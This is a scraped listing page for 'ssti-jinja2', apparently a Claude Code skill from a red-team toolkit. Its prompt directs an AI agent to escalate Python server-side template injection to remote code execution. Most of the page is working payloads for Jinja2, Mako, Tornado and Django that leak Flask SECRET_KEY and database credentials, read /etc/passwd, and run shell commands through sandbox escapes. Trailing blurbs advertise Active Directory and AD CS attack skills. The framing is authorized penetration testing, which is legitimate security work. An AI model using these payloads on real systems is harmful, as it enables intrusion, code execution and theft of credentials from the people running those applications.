acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Guide Jinja2/Python server-side template injection exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill ssti-jinja2 --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/ssti-jinja2Context preview
The summary Claude sees to decide when to auto-load this skill.
Guide Jinja2/Python server-side template injection exploitation during authorized penetration testing.
name: ssti-jinja2
description: >
Guide Jinja2/Python server-side template injection exploitation during
authorized penetration testing.
keywords:
- Jinja2 SSTI
- Flask SSTI
- Python template injection
- "{{7*'7'}} returns 7777777"
- Mako SSTI
- Tornado template injection
- Django template injection
- sandbox escape Jinja2
- __class__.__mro__
- Python sandbox bypass
tools:
- burpsuite
- sstimap
- tplmap
- fenjing
opsec: mediumYou are helping a penetration tester exploit server-side template injection in a Python application. The target uses Jinja2 (Flask), Mako, Tornado, or Django templates and processes attacker-controlled input through the template engine without proper sanitization. The goal is to escalate from template expression evaluation to remote code execution, file access, or secret extraction. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
route to **ssti-twig**.
If not already provided, determine: 1. **Framework** — Flask, Django, Tornado, or custom (check error pages, headers) 2. **Template engine** — Jinja2, Mako, Tornado, Django Templates 3. **Injection point** — URL param, form field, header, filename, etc. 4. **Sandbox restrictions** — Are `_`, `.`, `[]`, `|`, `{{` filtered?
Skip if context was already provided.
{{7*7}} # 49
{{7*'7'}} # 7777777 (string repetition = Jinja2)
{{config}} # Flask config object (SECRET_KEY, DB credentials)
{{request}} # Flask request object${7*7} # 49 (uses ${ } syntax)
<%import os%>${os.popen('id').read()} # Direct Python execution{{7*7}} # 49
{%import os%}{{os.system('id')}} # Direct import{{7*7}} # Error (Django doesn't evaluate expressions)
{% csrf_token %} # Works in Django, errors in Jinja2
{% debug %} # Dumps context variables
{{ messages.storages.0.signer.key }} # Leaks SECRET_KEY{{ config.items() }}
{{ config['SECRET_KEY'] }}
{{ config['SQLALCHEMY_DATABASE_URI'] }}{% debug %}
{{ self.__dict__ }}
{{ request.environ }}
{{ request.application.__self__._get_data_for_json.__globals__ }}{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}{{ lipsum.__globals__["os"].popen('id').read() }}These work in any Jinja2 template — no Flask-specific objects required:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}# Find subprocess.Popen index
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Execute (index 396 is an example — varies per environment)
{{ ''.__class__.mro()[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip() }}{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen('id').read() }}
{% endif %}
{% endfor %}{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen(request.args.input).read() }}
{% endif %}
{% endfor %}{{ x.__init__.__builtins__.exec("from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
from flask import make_response
r = make_response('Powned')
return r
") }}Direct Python execution — no sandbox to escape:
<%import os%>${os.popen('id').read()}
# Context-free (shorter)
${self.module.cache.util.os.popen('id').read()}
${self.module.runtime.util.os.popen('id').read()}{% import os %}{{ os.popen('id').read() }}Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…